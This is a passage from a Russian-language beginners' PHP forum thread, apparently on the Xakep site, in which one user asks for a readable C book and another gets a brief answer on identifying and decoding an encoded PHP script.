JAFAR_KARAEV

Сообщений: 10
Оценки: 0
Присоединился: 2011-10-05 22:05:47.423333
Спасибо! а по си, и з тех учился конкретную книгу дайте пжалста! написанную человеческим языком!
Post #: 1479
RE: Вопросы по PHP (для новичков) - 2011-11-04 13:49:39.573333   
class0071

Сообщений: 300
Оценки: 0
Присоединился: 2011-01-27 17:15:23.750000

quote:

ORIGINAL: gram123

Добрый день,
У меня по сути ламерский вопрос..
Подскажите, если скрипт сайта, написан на php , но он закодирован, возможно ли его раскодировать??


Какими способами и методами возможно??

Узнать тип кодировки –> расшифровать спец программами.
Post #: 1480
Страниц:  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 [37] 38
Все форумы >> [Веб-программинг] >> RE: Вопросы по PHP (для новичков)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.